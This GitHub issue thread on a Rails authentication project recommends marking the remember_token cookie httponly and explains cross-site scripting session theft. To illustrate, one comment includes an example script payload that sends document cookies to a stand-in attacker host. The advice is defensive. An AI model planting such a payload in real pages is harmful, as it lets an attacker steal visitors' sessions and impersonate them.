Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

set httponly cookie #53

Open
lazaronixon opened this issue Feb 21, 2022 · 5 comments · May be fixed by #59
Open

set httponly cookie #53

lazaronixon opened this issue Feb 21, 2022 · 5 comments · May be fixed by #59

Comments

@lazaronixon
Copy link

cookies.permanent.encrypted[:remember_token] = active_session.remember_token

cookies.permanent.encrypted[:remember_token] =  { value: active_session.remember_token, httponly: true }

Someone can use 'document.cookies' and stole your cookie if you don't use httponly.

@stevepolitodesign
Copy link
Owner

Thank you for pointing this out! This is making me wonder if I should just force SSL instead:

# config/environments/production.rb
Rails.application.configure do
  ...
  config.force_ssl = true
end

@lazaronixon
Copy link
Author

lazaronixon commented Feb 25, 2022

No, it is a javascript injection code vulnerability, rails implements CSP to prevent it, but some people disable it… So it’s better to have it.
Imagine a blog system, someone posts <script>d=document;fetch('//attaker.com/value=${d.cookie}')</script> everyone who have seen this post will have their sessions stole

@stevepolitodesign
Copy link
Owner

Oh, interesting. Will the stolen cookie still be encrypted? Does httponly simply prevent JavaScript from accessing this value?

@lazaronixon
Copy link
Author

lazaronixon commented Feb 25, 2022

Excatly... but with your cookies encrypted or not, I can put them here in my browser and impersonate you

@stevepolitodesign
Copy link
Owner

@lazaronixon thank you so much for the explanation. I'm learning a lot from you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants